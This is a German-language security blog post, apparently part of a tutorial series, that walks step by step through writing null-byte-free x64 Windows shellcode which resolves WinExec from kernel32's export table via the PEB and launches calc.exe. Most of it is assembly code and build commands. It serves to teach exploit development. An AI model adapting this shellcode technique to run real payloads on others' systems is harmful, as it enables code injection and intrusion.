Shellcode Injection Teil 4

Shellcode Injection Teil 4

In diesem Beitrag beschäftigen wir uns nur nebenher mit der Verschleierung von Shellcodes. An diesem Punkt wollte ich einen Custom-Shellcode entwickeln, um mehr über die Funktionsweise zu lernen.

Folgende Anforderungen sollten hierbei erfüllt sein:

  • Start von calc.exe auf einem Windows Rechner
  • 64-Bit Code
  • Vermeiden von Null-Bytes

Vorbereitungen

Shellcode? Nichts leichter als das!

Das dachte ich zumindest. Tatsächlich hat es einiges an Zeit gekostet die Funktionsweise zu verstehen. Dies lag zum Teil auch an fehlenden x64dbg Kenntnissen. Gerade das Live-Debugging hat sehr viel Zeit gekostet, da ich viele nützliche Befehle noch nicht kannte.

Zum Glück gibt es eine hilfreiche Webseite, welche ich gerne als Referenz genutzt habe.1)

Hilfreiche Tools

  • Microsoft Visual Studio2)
  • x64dbg3)
  • PEView4)
  • ShenCode5)

Hilfreiche Webseiten

Es gibt viele gute Referenzen im Internet. Ein etwas jüngerer Blogpost hat mich schließlich auf die Idee für diesen Blogpost gebracht. Der entsprechende fertige Shellcode hierzu ist auf GitHub veröffentlicht. Dieser ist gut verständlich und nachvollziehbar.

Ein weiterer Blogpost von Red Team Notes habe ich für den Aufbau des Shellcodes genutzt.

Code: Schritt für Schritt

Den kompletten Code findet ihr auch auf Github.

Welche Schritte sind nun nötig, um calc.exe aus einem Shellcode zu starten?

  1. kernel32.dll Basis Adresse finden
  2. WinAPI im Speicher ermitteln
  3. Funktion WinExec finden

Variablen und Stack

Im ersten Schritt reservieren wir uns Speicher für unsere Variablen:

sub rsp, 40h
xor rax, rax
mov [rbp - 08h], rax    ; Number_of_Exported_Functions
mov [rbp - 10h], rax    ; Adress_Table
mov [rbp - 18h], rax    ; Name_Ptr_Table
mov [rbp - 20h], rax    ; Ordinal_Table
mov [rbp - 28h], rax    ; Pointer(WinExec-String)
mov [rbp - 30h], rax	; Address(WinExec-Function)
mov [rbp - 38h], rax	; reserved

Für den späteren Suchdurchlauf müssen wir den String WinExec\n auf den Stack pushen und die Zeigeradresse speichern.

push rax
mov rax, 0x00636578456E6957  ; 0x00 + c,e,x,E,n,i,W
push rax				     ; push WinExec\n to stack
mov [rbp - 28h], rsp         ; Pointer(WinExec-String) -> Var

kernel32.dll Basis Adresse

Mit jedem Start eines Prozesses in Windows, werden Module in diesen Prozess geladen. Eines dieser Module ist unsere kernel32.dll. Im Arbeitsspeicher werden durch Windows Datenstrukturen angelegt, welche alle für uns nötigen Informationen bereit halten.

Ähnlich wie in einem Buch, rufen wir ein Inhaltsverzeichnis (Pointer) auf, welches auf die richtige Seitenzahl (relevanter Speicherbereich) zeigt.

Die erste dieser Strukturen ist der TEB (Thread Environment Block). Dieser beinhaltet einen Zeiger auf den PEB (Process Environment Block), welcher uns Auskunft über die geladenen Module gibt.

Den Zeiger zur PEB finden wir über das Register gs am Offset 0x60, sprich ab Byte 60. Wir laden nun die Speicheradresse in das Register rax.

mov rax, gs:[0x60]

Jetzt befinden wir uns im PEB und navigieren durch den Speicherbereich:

PEB + 18 Bytes -> Pointer(Ldr)
Ldr + 20 Bytes -> Pointer(InMemoryModuleList)
InMemoryModuleList(1) -> ProcessModule
InMemoryModuleList(2) -> ntdll Module
InMemoryModuleList(3) + 20 Bytes -> kernel32.dllbase

In unserem Code sieht dies dann so aus:

mov rax, [rax + 0x18]    ; PEB + 18 Bytes -> Pointer(Ldr)
mov rax, [rax + 0x20]    ; Ldr + 20 Bytes -> Pointer(InMemoryModuleList)
mov rax, [rax]           ; InMemoryModuleList -> ProcessModule
mov rax, [rax]           ; InMemoryModuleList -> ntdll Module
mov rax, [rax + 0x20]    ; InMemoryModuleList -> kernel32 + 20 Bytes DllBase
mov rbx, rax             ; Save kernerl32.base to rbx

WinAPI

Mit der kernel32 Basis Adresse können wir die WinAPI suchen. Hierzu benötigen wir erneut ein paar Adressen:

kernel32.base + 0x3c Bytes -> Pointer(RVA_PE_Signature)
RVA_PE_Signature + 0x88 Bytes -> Pointer(RVA_Export_Table)
RVA_Export_Table + 0x14 Bytes -> Number_of_Exported_Functions
RVA_Export_Table + 0x1c Bytes -> RVA_Address_Table
RVA_Export_Table + 0x20 Bytes -> RVA_Name_Pointer_Table
RVA_Export_Table + 0x24 Bytes -> RVA_Ordinal_Table

Setzen wir dies nun in ASM um:

mov eax, [rbx + 0x3c]    ; Pointer(RVA_PE_Signature)
add rax, rbx             ; rax = kernel32.base + RVA_PE_Signature
mov eax, [rax + 0x88]    ; Pointer(RVA_Export_Table)
add rax, rbx             ; rax = kernel32.base + RVA_Export_Table
 
mov ecx, [rax + 0x14]    ; Number_of_Exported_Functions
mov [rbp - 8h], rcx      ; Number_of_Exported_Functions -> Var
mov ecx, [rax + 0x1c]    ; RVA_Address_Table
add rcx, rbx             ; Adress_Table = kernel32.base + RVA_Address_Table
mov [rbp - 10h], rcx     ; Adress_Table -> Var
mov ecx, [rax + 0x20]    ; RVA_Name_Ptr_Table
add rcx, rbx             ; Name_Ptr_Table = kernel32.base + RVA_Name_Ptr_Table
mov [rbp - 18h], rcx     ; Name_Ptr_Table -> Var
mov ecx, [rax + 0x24]    ; RVA_Ordinal_Table
add rcx, rbx             ; Ordinal_Table = kernel32.base + RVA_Ordinal_Table
mov [rbp - 20h], rcx     ; Ordinal_Table -> Var
Öffnet die Datei windir\syswow64\kernel32.dll in PEView. So könnt ihr die gesuchten Speicherbereiche besser nachvollziehen.

WinExec

Iteration

Nun folgt eine Iteration, welche die Export-Funktionen solange abfragt, bis WinExec gefunden wurde oder die Anzahl der Funktionen durchlaufen ist:

xor rax, rax
xor rcx, rcx
 
findWinExecPosition:
	mov rsi, [rbp - 28h]	  ; Pointer(WinExec-String)
	mov rdi, [rbp - 18h]	  ; Pointer(Name_Ptr_Table)
	cld						  ; clear direction, low -> high Adresses
	mov edi, [rdi + rax * 4]  ; RVA_Next_Function from Name_Ptr_Table
	add rdi, rbx			  ; Adress_Next_Function
	mov cl, 8			      ; compare first 8 Bytes
	repe cmpsb			      ; check if rsi == rdi		
	jz WinExecFound           ; if found -> jump
	inc rax				      ; else: increase the counter
	cmp rax, [rbp - 8h]		  ; counter = Number_of_Exported_Functions
	jne findWinExecPosition   ; if not -> jump

Funktion gefunden

Wurde die Funktion gefunden, springt der Code zur WinExecFound-Marke. Hier wird die reale, virtuelle Adresse der Funktion berechnet. Mit dieser sind wir schließlich in der Lage WinExec zu adressieren. Der Vorgang wird von Red Team Notes genauer beleuchtet.

WinExecFound:		
	mov rcx, [rbp - 20h]		; Ordinal_Table
	mov rdx, [rbp - 10h]		; Adress_Table
	mov ax, [rcx + rax * 2]		; Ordinal_WinExec
	mov eax, [rdx + rax * 4]    ; RVA_WinExec
	add rax, rbx			    ; VA_WinExec
	jmp short InvokeWinExec

WinExec ausführen

Nun übergeben wir alle wichtigen Parameter an WinExec und rufen die Funktion anschließend auf. Ein Blick in die Funktionsdokumentation ist hierbei hilfreich.6)

UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow
);

Wir benötigen einen String für die Kommandozeile und einen Integer für die Anzeige des Fensters.

Es gibt jedoch noch mehr Dinge zu beachten, wenn wir die WinAPI aufrufen.7)8)

  • Argument Register (von links nach rechts): RCX (lpCmdLine), RDX (uCmdShow), R8, R9, Stack
  • Der Stack muss auf 16 Bytes ausgerichtet werden: and rsp, -16
  • Shadow Space, ein leeres 32 Bytes Segment auf dem Stack, welches für interne WinAPI Zwecke benötigt wird: sub rsp, 32

Unseren string calc.exe übergeben wir wieder in umgekehrter Schreibweise an den Stack und anschließend füllen wir das untere Byte-Segment des RDX Registers mit dem Wert 0x1, was dem Wert SW_SHOWDEFAULT entspricht.

Dann erfüllen wir noch die WinAPI Aufrufkonventionen, wie oben beschrieben und können WinExec mit dem Befehl call rax aufrufen.

InvokeWinExec:
  xor rdx, rdx
  xor rcx, rcx				     
  push rcx					 
  mov rcx, 0x6578652e636c6163    ; exe.clac
  push rcx
  mov rcx, rsp			         ; rcx = calc.exe
  mov dl, 0x1			         ; uCmdSHow = SW_SHOWDEFAULT
  and rsp, -16			         ; 16-byte Stack Alignment
  sub rsp, 32			         ; STACK + 32 Bytes (shadow spaces)
  call rax 			             ; call WinExec

Null-Bytes

Wir können den Code nun mit folgendem Befehl kompilieren:

nasm -f win64 calc-unsanitized.asm -o calc-unsanitized.o

Dann lohnt sich ein Blick in die kompilierte Datei:

objdump -d calc-unsanitized.o

Es fallen direkt einige Stellen auf, welche 0-Bytes enthalten. Diese können den Shellcode an der Ausführung hindern, somit müssen wir noch einige Änderungen machen.

WinExec Push

Wir pushen WinExec\n auf den Stack. \n entspricht 0-Byte und wir müssen unseren Code anpassen. Wir ändern 00 im String auf 11. Nun können wir mit shl, shr den Inhalt des Registers nach Links bzw. Rechts verschieben. Alle Werte außerhalb werden gelöscht.

mov rax, 0x00636578456E6957  ; 0x00 + c,e,x,E,n,i,W
-->
mov rax, 0x11636578456E6957
shl rax, 0x08                ; shift left 0x08 -> 0x636578456E695700
shr rax, 0x08                ; shift right 0x08 -> 0x00636578456E6957

GS Register + 0x60

Die Anweisung mov rax, gs:[0x60] erzeugt ebenfalls 0-Bytes. Dies können wir umgehen, indem wir 0x60 einem niedrigerem Register zuordnen. Anschließend werden die Register addiert.

mov rax, gs:[0x60]
-->
mov al, 60h
mov rax, gs:[rax] 

Eine Übersicht der hohen und niedrigen Register findet ihr im 64 Bit Stack CheatSheet.

RVA_Table Pointer

Die gleiche Methode wenden wir am RVA_Table Pointer an:

mov eax, [rax + 0x88]    ; Pointer(RVA_Export_Table)
-->
mov cl, 88h
mov eax, [rax + rcx]

Letzte Handgriffe

Der Shellcode sieht nun fast gut aus. Wir müssen nur noch die relevanten Anweisungen rausfiltern. Ich nutze hierzu eine kleine Eigenprogrammierung namens ShenCode .

python shencode.py output -f calc-final.o -s c

Der Befehl liefert uns die Datei in C-Format Syntax. Wir wissen, unser Shellcode beginnt mit den Opcodes 55 48. Diese finden sich ab Offset 60. Die letzten Anweisungen sind 5D C3 und dann befinden wir uns an Offset 310.

python shencode.py extract -f calc-final.o -o calc-final.sc -fb 60 -lb 310
python shencode.py output -f calc-final.sc -s c

Und hier ist unser fertiger Shellcode!

Repository

git clone https://github.com/psycore8/nosoc-shellcode

Referenzen

Diskussion

Geben Sie Ihren Kommentar ein:
255᠎ +2᠎ = 
 
it-security/blog/shellcode_injection-4.txt · Zuletzt geändert: 2024/09/01 23:03
CC Attribution-Noncommercial-Share Alike 4.0 International